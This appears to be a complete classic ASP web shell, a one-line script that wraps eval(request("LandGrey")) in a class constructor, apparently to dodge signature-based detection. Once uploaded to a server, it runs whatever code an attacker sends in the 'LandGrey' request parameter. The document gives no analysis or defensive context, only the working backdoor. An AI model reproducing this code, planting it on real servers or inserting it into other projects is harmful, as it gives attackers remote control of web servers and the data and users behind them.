<% Class LandGrey Private Sub Class_Initialize eval (request("LandGrey")) End Sub End Class Set X = New LandGrey %>